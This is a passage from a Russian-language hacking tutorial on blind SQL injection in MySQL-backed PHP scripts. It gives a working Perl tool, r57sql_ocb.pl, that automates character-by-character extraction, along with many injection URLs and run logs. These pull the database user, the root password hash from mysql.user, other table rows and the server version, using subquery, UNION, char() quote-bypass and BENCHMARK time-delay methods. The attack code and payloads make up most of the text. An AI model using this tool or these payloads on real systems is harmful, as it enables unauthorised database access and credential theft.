Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=115
Ответ: Found: 0
Вывод: Код символа не 115 ( символ не "s" )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=116
Ответ: Found: 3
Вывод: Код символа 115 ( символ "t" ) !!!

Искомый символ найден. Для этого потребовалось всего 6 запросов!

В данном примере предполагается что в имени пользователя используются только буквы, поэтому мы
перебираем диапазон символов a..z, что соответствует кодам 97..122, символы в верхнем регистре мы не
включаем в диапазон т.к. используем функцию lower()

Также использование функции ascii() и сравнение ascii-кодов символа вместо сравнения символов
позволяют отказаться от кавычек в условиях типа ="r" что в свою очередь позволяет не заботиться о
magic_quotes.

Таким образом перебрав все позиции в имени пользователя до получения в ответе кода 0, что
соответствует концу строки, мы получим полное имя. Вот в кратце о основах метода посимвольного
перебора в базе данных. В дальнейших разделах статьи на основании этого метода будут описаны
конкретные примеры получения информации из базы данных.

[ 3 ] ... Программная реализация
--------------------------------
Перебор вручную даже с помощью уменьшения диапазона перебора все равно оказывается делом достаточно
утомительным и для дальнейших примеров я подумал, что было бы неплохо написать скрипт который
автоматом за нас будет перебирать символы. Код этого скрипта и небольшое описание приведены в данном
разделе статьи.

--- start r57sql_ocb.pl ---

#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97; # a
$max = $ARGV[5] || 122; # z

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}

# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
{
$crcheck = "=$i";
print "-> Try $i ->";
# проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
else { print " NO =(\r\n"; }
$i++;
}
print "NOT FOUND"; exit();
}

# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}

sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}

--- end r57sql_ocb.pl ---

Скрипт запускается со следующими параметрами:
1. Путь к скрипту включая параметр уязвимый к sql injection, в нашем случае он будет http://server.com/users.php?id=1
2. Запрос к базе данных который вставляется в функцию substring(), т.е. запрос, результат выполнения которого мы будем перебирать.
3. Позиция символа для перебора.
4. Строка каторая должна присутствовать в выведенном ответе скрипта при выполнении условия.
5,6. Необязательные параметры в которых можно задать начальный и конечный ascii-коды для обозначения
диапазона перебираемых символов.

Также в процессе работы скрипт выводит добавляемые условия, перебираемые диапазоны и результаты
запросов для более наглядного просмотра алгоритма и подсчета количества запросов необходимых для
получения одного символа.

Пример работы скрипта для получения имени пользователя:

C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 1 "Found: 3"
-> Try 97 ..
122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char > 112
-> Try 112 -> NO =(
-> Try 113 -> NO =(
-> Try 114 -> FOUND!
-> Ascii: 114
-> Char: r
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 2 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 3 "Found: 3"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "user()" 4 "Found: 3"
-> Try 97 ..
122 -> Char > 109
-> Try 109 .. 122 -> Char > 115
-> Try 115 .. 122 -> Char < 118
-> Try 115 -> NO =(
-> Try 116 -> FOUND!
-> Ascii: 116
-> Char: t

Итак наш пользователь "root" =)

Небольшими изменениями в коде можно сделать чтобы скрипт автоматом подбирал все символы из строки и
работал не только с параметром типа integer (в нашем случае это id) но для данной статьи это не
нужно, а те кому надо думаю сами смогут дополнить скрипт, там кода на 5 минут.

[ 4 ] ... Подзапросы
--------------------
Итак как было описано ранее атакующий с помощью перебора смог получить имя пользователя от которого
скрипт работает с базой данных. Чтож это неприятно, но это и не смертельно. Если бы этим все и
ограничивалось, то можно было бы совсем не беспокоиться, однако все становится на порядок опаснее
когда база данных, на которую производится атака, поддерживает подзапросы.
В общем случае подзапрос выглядит следующим образом:
SELECT v1 from t1 WHERE v2=(SELECT v3 from t2);
Полученный результат подзапроса из таблицы t2 подставляется в условие в запросе к таблице t1.

Применительно к нашему случаю можно использовать подзапросы в функции substring() и следовательно
результат подзапроса мы и обрабатываем этой функцией и соответственно его и перебираем.
Конкретно: substring((select v1 from t1),1,1)
Сначала выполняется подзапрос select v1 from t1 , после чего результат его выполнения вставляется в
функцию которая выдирает из результата первый символ. А тут уже вспоминаем технику описанную ранее и
сравниваем этот символ с тем что нам надо =)
Как видно из вышеописанного, атакующий получает возвожность выполнения любого запроса к базе данных
и путем посимвольного перебора имеет возможность получить результат запроса. Из этого следует, что
атакующий имеет возможность получить ЛЮБУЮ информацию из базы данных (точнее сказать не любую, а
любую доступную тому пользователю от которого с базой работает уязвимый скрипт).

Основная особенность работы с подзапросами состоит в том, что наш подзапрос должен возвращать только
одну запись в результате выполнения, иначе в ходе выполнения запроса будет возникать ошибка. Данная
проблема легко решается вставкой дополнительных условий в подзапрос или использованием LIMIT ( LIMIT
[смещение,] количество ).

Пример работы с подзапросами:
server.com/users.php?id=1 AND ascii(lower(substring((SELECT password from mysql.user WHERE user="root" LIMIT 1),1,1)))>48
Данный запрос возвращает результат в случае если ascii-код первого символа пароля пользователя root
полученный из таблицы mysql.user больше 48 (т.е. символ с кодом больше кода символа 1).

В данном запросе сначала выполняется подзапрос SELECT password from mysql.user WHERE user="root"
LIMIT 1 возвращающий один результат. После этого полученный результат вставляется в функцию
substring() которая выделяет один символ из этого результата. Потом символ переводится в нижний
регистр и с помощью ascii() получаем код этого символа, который и сравнивается с переданным нами
числом.

Используя скрипт можно продемонстрировать получение первых символов из пароля пользователя root:

C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=\"root\" LIMIT 1)" 1 "Found: 3" 48 122
-> Try 48 ..
122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=\"root\" LIMIT 1)" 2 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char > 53
-> Try 53 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=\"root\" LIMIT 1)" 3 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=\"root\" LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a

Итак первыми символами в пароле являются: 29ba

Следующая проблема которая может возникнуть при использовании условий в подзапросе это проблема с
magic_quotes
при условиях типа user="root". Данная проблема легко обходится видоизменением условия с
помощью функции char().

Условие: user="root"
соответствует условию: user=char(114,111,111,116)

Итак получаем:

C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 4 "Found: 3" 48 122
-> Try 48 ..
122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char < 99
-> Try 94 .. 100 -> Char < 97
-> Try 94 -> NO =(
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 5 "Found: 3" 48 122
-> Try 48 .. 122 -> Char > 85
-> Try 85 .. 122 -> Char < 103
-> Try 85 .. 104 -> Char > 94
-> Try 94 .. 104 -> Char > 99
-> Try 99 .. 104 -> Char < 101
-> Try 99 -> NO =(
-> Try 100 -> FOUND!
-> Ascii: 100
-> Char: d
C:\>r57sql_ocb.pl http://server.com/users.php?id=1 "(SELECT password from mysql.user WHERE user=char(114,111,111,116) LIMIT 1)" 6 "Found: 3" 48 122
-> Try 48 .. 122 -> Char < 85
-> Try 48 .. 86 -> Char < 67
-> Try 48 .. 68 -> Char < 58
-> Try 48 .. 59 -> Char < 53
-> Try 48 .. 54 -> Char < 51
-> Try 48 -> NO =(
-> Try 49 -> FOUND!
-> Ascii: 49
-> Char: 1

Четвертый, пятый и шестой символы в пароле соответственно ad1 и magic_quotes нас уже не волнуют =)

Несколько позиций полученных с помощью LIMIT из запроса можно обьединить в одну строку с помощью
функции CONCAT() и получать перебором символы из этой обьединенной строки. Например для получения
первых трех записей из столбеца login из нашей тестовой таблицы users можно использовать следующее
обьединение:

CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1))

Символ | будет использоваться в качестве разделителей и данная функция возвращает результат типа:

admin|lamer|hacker

В случае использования с нашим скриптом запрос принимает вид:

http://server.com/users.php?id=1 AND ascii(lower(substring(CONCAT_WS("|",(select login from users LIMIT 0,1),(select login from users LIMIT 1,1),(select login from users LIMIT 2,1)),1,1)))=97

И возврашает результат "Found: 3" т.к. первый символ из результата это "a" ( [a]dmin )

[ 5 ] ... MySQL версий => 4.0 и < 4.1
-------------------------------------
В данных версиях БД не поддерживается возможность использования подзапросов, поэтому для получения
информации из других таблиц ( отличных от той с которой работает скрипт ) приходится использовать
предложение UNION. Рассмотрим как это делается на нашем примере. Для начала необходимо найти
параметр id при котором наш запрос будет возвращать нулевой результат, например
http://server.com/users.php?id=666 , что необходимо для того, чтобы данный (первый) запрос не
оказывал влияния на вывод всего обьединения. Т.е. теперь при обьединении через UNION со вторым
запросом к БД имеенно ТОЛЬКО ВТОРОЙ запрос будет оказывать влияние на вывод (или-же наоборот
отсутствие вывода) нашего скрипта.
Более подробно:

Запрос: http://server.com/users.php?id=666
Ответ: "Found: 0"

А запрос: http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root"
Возвратит "Found: 1" в случае если в таблице mysql.user существует запись для пользователя root.

Далее вводим дополнительные условия:

Запрос: http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user="root" AND ascii(lower(substring(password,1,1)))>48

Данный запрос выводит результат "Found: 1" в случае если в таблице mysql.user существует запись для
пользователя root и код первого символа из столбца password для данной записи более 48.

Следует обратить внимание на то, что если в предыдущем случае при описании работы с подзапросами мы
перебирали именно результат возвращенный подзапросом т.е. нам было важно, что возвратит этот
подзапрос, то в данном случае результат который возвращает второй запрос (после UNION) нас
неинтересует, нам важно только присутствие или отсутствие этого результата при заданных нами
условиях. И мы таким образом просто определяем выполняется наше условие (условия) или нет. А вот то,
что мы перебираем и задается в этом условии. Надеюсь понятно обьяснил разницу между методами, если
что-то вдруг непонятно то просто попробуйте повторить описанное у себя на локальной БД и все сразу
станет на свои места.

Теперь можно используя обьединение UNION попробовать получить перебором записи из нашей тестовой
таблицы. Только необходимо заметить что желательно чтобы условия во втором запросе позволяли
совпадать только одной записи т.к. в противном случае перебор может выдавать неправильные значения,
обьясню на примере:

Пусть в таблице blah существуют две записи для пользователя root:

+-------+------+
| user | pass |
+-------+------+
| root | aaa |
| root | bbb |
+-------+------+

Для таких записей запросы

http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=97

и

http://server.com/users.php?id=666 UNION SELECT 1 FROM blah WHERE user="root" AND ascii(lower(substring(pass,1,1)))=98

вернут результат. И перебор будет возвращать неправильный результат.
Так что чем больше условий будет во втором запросе тем больше вероятность получения правильного результата с помощью перебора.

Для посимвольного перебора с использованием UNION также можно использовать наш скрипт, единственное
условие это то что необходимо будет добавить часть запроса в первый параметр. Вот пример получения
пароля пользователя root из таблицы mysql.user:

C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116)" "password" 1 "Found: 1" 1 122
-> Try 1 ..
122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char < 54
-> Try 46 .. 55 -> Char < 50
-> Try 46 .. 51 -> Char > 48
-> Try 48 -> NO =(
-> Try 49 -> NO =(
-> Try 50 -> FOUND!
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116)" "password" 2 "Found: 1" 1 122
-> Try 1 .. 122 -> Char < 61
-> Try 1 .. 62 -> Char > 31
-> Try 31 .. 62 -> Char > 46
-> Try 46 .. 62 -> Char > 54
-> Try 54 .. 62 -> Char < 58
-> Try 54 .. 59 -> Char > 56
-> Try 56 -> NO =(
-> Try 57 -> FOUND!
-> Ascii: 57
-> Char: 9
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116)" "password" 3 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 .. 100 -> Char > 97
-> Try 97 -> NO =(
-> Try 98 -> FOUND!
-> Ascii: 98
-> Char: b
C:\>r57sql_ocb.pl "http://server.com/users.php?id=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116)" "password" 4 "Found: 1" 1 122
-> Try 1 .. 122 -> Char > 61
-> Try 61 .. 122 -> Char > 91
-> Try 91 .. 122 -> Char < 106
-> Try 91 .. 107 -> Char < 99
-> Try 91 .. 100 -> Char > 95
-> Try 95 ..
100 -> Char < 97
-> Try 95 -> NO =(
-> Try 96 -> NO =(
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a

Для полной картины, в первом примере, например, полные запросы к базе данных и алгоритм выглядят следующим образом:

* Если ответ "Found: 1" то условие естинно т.е. True , иначе ответ "Found: 0" и условие ложно False

1.
Запрос
: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>61
Условие: False

2.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>31
Условие: True

3.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>46
Условие: True

4.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>54
Условие: False

5.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>50
Условие: False

6.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))>48
Условие: True

7.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=49
Условие: False

8.
Запрос: SELECT status FROM users WHERE status=666 UNION SELECT 1 FROM mysql.user WHERE user=char(114,111,111,116) AND ascii(lower(substring(password,1,1)))=50
Условие: True

Таким образом атакующий обладает возможностью получать информацию из любой таблицы в БД даже при
условиях, что вывод данных, непосредственно полученных из запроса, не осуществляется. Как и в случае
с подзапросами данный метод перебора может применяться не только в запросах выборки из БД типа
SELECT ..., но и в запросах обновления записей типа UPDATE ... при условии, что есть возможность
определить был-ли выполнен запрос или нет.

[ 6 ] ... MySQL версии < 4.0
----------------------------
Вот мы и подошли к самому интересному разделу данной статьи. Раньше я не встречал документов
описывающих методику использования атак типа внедрения sql кода для получения информации о записях в
базе данных на версиях MySQL ниже 4.0. И в разнообразных эксплоитах, которые можно найти в сети,
основанных на данном типе уязвимости пишут, что атака осуществима только на версиях поддерживающих
UNION. Но гораздо чаще все-же встречаются более низкие версии. =(
Без поддержки обьединения запросов с помощью UNION и без поддержки подзапросов атакующий очень
сильно урезан в правах, точнее сказать он ограничен таблицей (или таблицами) с которыми работает
уязвимый запрос (запрос в который мы добавляем наш sql код). Кроме информации из таблиц с которыми
работает уязвимый запрос атакующий также может получить значения некоторых системных переменных о
которых будет рассказано далее, а пока перейдем к получению данных из таблицы.

Итак предположим, что наш уязвимый php-скрипт работает с базой данных версия которой ниже 4.

Добавим в запрос к серверу условие ограничивающее выборку еще и именем пользователя (конечно это
выполнимо при условии, что мы уже располагаем информацией о имени пользователя), таким образом
запрос примет следующий вид:
server.com/users.php?id=1 AND login="admin"
В БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin"
Если данный запрос вернет результат, то мы определяем, что в таблице есть запись у которой в поле
status стоит значение 1, а в поле login находится значение admin. В нашем случае только одна запись
совпадает с данным условием, а в других случаях придется вводить условия пока выборка не станет
возвращать только один результат.
Теперь можно вставить еще одно условие
server.com/users.php?id=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
в БД выполняется запрос
SELECT status FROM users WHERE status=1 AND login="admin" AND ascii(lower(substring(password,1,1)))>48
Данный запрос возвращает результат только в случае если в таблице есть запись у которой в поле
status стоит значение 1, в поле login находится значение admin а код первого символа значения
полученного из поля password более 48. Первыми условиями мы ограничиваем выборку строкой из которой
хотим получить запись из нужного столбца, а последним условием соответственно проверяем совпадение
или несовпадение кода символа полученного из записи. Таким образом можно перебором получить значение
данного столбца, этой записи. Меняя первые условия в запросе мы можем менять строки, значения из
которых мы собираемся перебирать.

Пример получения записи из столбца password для юзера admin на mysql версии ниже 4.0:

C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 1 "Found: 1"
-> Try 97 ..
122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> NO =(
-> Try 112 -> FOUND!
-> Ascii: 112
-> Char: p
C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 2 "Found: 1"
-> Try 97 .. 122 -> Char < 109
-> Try 97 .. 110 -> Char < 103
-> Try 97 .. 104 -> Char < 100
-> Try 97 -> FOUND!
-> Ascii: 97
-> Char: a
C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 3 "Found: 1"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char > 112
-> Try 112 -> NO =(
-> Try 113 -> NO =(
-> Try 114 -> NO =(
-> Try 115 -> FOUND!
-> Ascii: 115
-> Char: s
C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 4 "Found: 1"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char > 112
-> Try 112 -> NO =(
-> Try 113 -> NO =(
-> Try 114 -> NO =(
-> Try 115 -> FOUND!
-> Ascii: 115
-> Char: s
C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 5 "Found: 1"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char > 115
-> Try 115 .. 122 -> Char > 118
-> Try 118 -> NO =(
-> Try 119 -> FOUND!
-> Ascii: 119
-> Char: w
C:\>r57sql_ocb.pl "http://server.com/users.php?id=1 AND login=\"admin\"" "password" 6 "Found: 1"
-> Try 97 .. 122 -> Char > 109
-> Try 109 .. 122 -> Char < 115
-> Try 109 .. 116 -> Char < 112
-> Try 109 -> NO =(
-> Try 110 -> NO =(
-> Try 111 -> FOUND!
-> Ascii: 111
-> Char: o

И так далее...

[ 6.1 ] ... Системные переменные
--------------------------------
Кроме получения информации из записей таблицы (или таблиц) с которыми работает запрос, в который мы
внедряем наш код, мы также можем получить перебором значения некоторых системных переменных. Пример
такого получения значения уже встречался ранее в статье когда мы получали имя пользователя из
user().
Кроме user() мы можем получить следующие значения:
database() - название базы данных с которой работает наш запрос.
version() - версия базы данных с которой работает наш скрипт. Кроме version() можно также
использовать и @@version что является синонимом данной функции и поддержка которого введена в mysql
начиная с версий 3.23.50

Как пример получение версии БД через наш уязвимый скрипт:

C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 1 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 2 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 3 "Found: 3" 46 57
-> Ascii: 50
-> Char: 2
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 4 "Found: 3" 46 57
-> Ascii: 51
-> Char: 3
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 5 "Found: 3" 46 57
-> Ascii: 46
-> Char: .
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 6 "Found: 3" 46 57
-> Ascii: 53
-> Char: 5
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 7 "Found: 3" 46 57
-> Ascii: 56
-> Char: 8
C:\>r57sql_ocb.pl "http://127.0.0.1/users.php?id=1" "@@version" 8 "Found: 3" 46 57
-> Try 46 ..
57 -> Char < 51
-> Try 46 .. 52 -> Char < 49
-> Try 46 -> NO =(
-> Try 47 -> NO =(
-> Try 48 -> NO =(
-> Try 49 -> NO =(
NOT FOUND

Таким образом версия БД: 3.23.58
Для ускорения перебора мы используем диапазон 46..57 включающий в себя цифры и точку. Именно поэтому
последний запрос возвращает NOT FOUND.

[ 7 ] Задержки
--------------
Нет, это не те задержки которые случаются у девушек и указывают на то, что пришло время идти
покупать соску, тут все не так страшно =)
В вышеописанных примерах наш перебор основывался на том, что существует вывод какой-либо информации
о том был ли успешно выполнен запрос в БД (точнее был ли возвращен результат запроса) или же нет. Но
бывают случаи когда доступа к такой информации у атакующего нет.
Например на сервере существует такой скрипт stat.php:

<?
error_reporting(0);
... подключение к базе данных ...
@mysql_query("UPDATE stat SET num=num+1 WHERE id=$id");
echo "OK";
?>

Данный скрипт работает с таблицей stat следующего вида:

+----+-----+------------+---------------+
| id | num | name | password |
+----+-----+------------+---------------+
| 1 | 100 |
Яндыкс.ru | kewl_password |
| 2 | 200 |
Румблер.ru | bad_password |
+----+-----+------------+---------------+

Скрипт в зависимости от переданного значения параметра id обновляет подходящую по условию запись,
добавляя единицу к значению столбца num.
Никакой информации о результате выполнения запроса после этого не выводится и соответственно мы не
можем таким образом определить выполнение или невыполнение дополнительного условия.
Для дополнительного условия мы будем использовать функцию if() которая позволяет вставлять результат
в запрос в зависимости от выполнения или невыполнения условия указанного в качестве первого
параметра в данной функции.
IF(expr1,expr2,expr3)
Если expr1 равно значению ИСТИНА (expr1 <> 0 и expr1 <> NULL), то функция IF()
возвращает expr2, в противном случае - expr3.
Также мы будем использовать функцию BENCHMARK(count,expr) которая повторяет выполнение выражения
expr заданное количество раз, указанное в аргументе count. Она может использоваться для определения
того, насколько быстро MySQL обрабатывает данное выражение. Значение результата всегда равно 0.
В качестве выражения expr в функции benchmark мы будем использовать вычисление контрольной суммы с
помощью функции md5()
MD5(string) - Вычисляет 128-битовую контрольную сумму MD5 для аргумента string. Возвращаемая
величина представляет собой 32-разрядное шестнадцатеричное число.
Данные функции мы будем использовать следующим образом: benchmark(999999,md5(char(114,115,116)));
Если попробовать выполнить данную функцию в mysql то можно заметить, что на её выполнение требуется
порядка 10 секунд.

mysql> select benchmark(999999,md5(char(114,115,116)));
+------------------------------------------+
| benchmark(999999,md5(char(114,115,116))) |
+------------------------------------------+
| 0 |
+------------------------------------------+
1 row in set (10.20 sec)

Итак делаем такой запрос к серверу:
server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));

Вызывает выполнение в БД запроса

UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));

Что происходит в данном запросе. Сначала берется значение столбца password из строки для которой
id=1, после этого из этого значения с помощью функции substring() получаем первый символ. И
сравниваем этот символ с символом "u".
Тут начинается самое интересное.
Если условие выполняется то функция if() возвращает значение указанное в качестве второго параметра
т.е. 1 и запрос принимает вид: UPDATE stat SET num=num+1 WHERE id=1 AND 1=1 соответственно данный
запрос выполняется и ничего экстраординарного не происходит, все как обычно.
В случае если условие указанное в функции if() невыполняется то функция пытается возвратить значение
указанное в качестве третьего параметра функции т.е. benchmark(999999,md5(char(114,115,116)))
соответственно для этого ей нужно для начала получить это значение и происходит вычисление данной
функции. Но на это вычисление базе данных естественно требуется некоторое время, достаточно
длительное. После чего значение 0 подставляется в запрос и соответственно запрос не выполняется т.к.
условие 1=0 но это нас уже не интересует.
Суть в том, что при невыполнении условия в функции if() общее время выполнения запроса к базе данных
получается большим чем время когда условие выполняется. И это время зависит от времени необходимого
на работу функции bencmark. Соответственно наш уязвимый скрипт выполняется гораздо дольше при
невыполнении условия.
Таким образом меняя условия внутри функции и смотря на время выполнения скрипта мы можем также как и
ранее пользуясь substring() получить перебором значения из записи в таблице.

Попробовав выполнить запросы с различными условиями в базе данных можно понаблюдать за изменением
веремени их выполнения:

1. Условие
невыполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999999,md5(char(114,115,116))));
Query OK, 0 rows affected (10.28 sec)
Rows matched: 0 Changed: 0 Warnings: 0

2.
Условие выполняется
mysql> UPDATE stat SET num=num+1 WHERE id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999999,md5(char(114,115,116))));
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

Пример перебора с использованием задержек:

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="w"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ в поле password для строки где id=1 не равен "w"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="b"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Задержка вывода
Вывод: Первый символ не равен "b"

Запрос:
http://server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="k"),1,benchmark(999999,md5(char(114,115,116))));
Результат: Нет задержки
Вывод: Первый символ равен "k"

И так далее перебирая символы и позиции в строке можно полностью получить всю строку. Таким образом
даже наличие вывода о выполнении или невыполнении запроса не является необходимым условием для
осуществления посимвольного перебора записей из базы данных.

[ 8 ] ... Конкретный пример
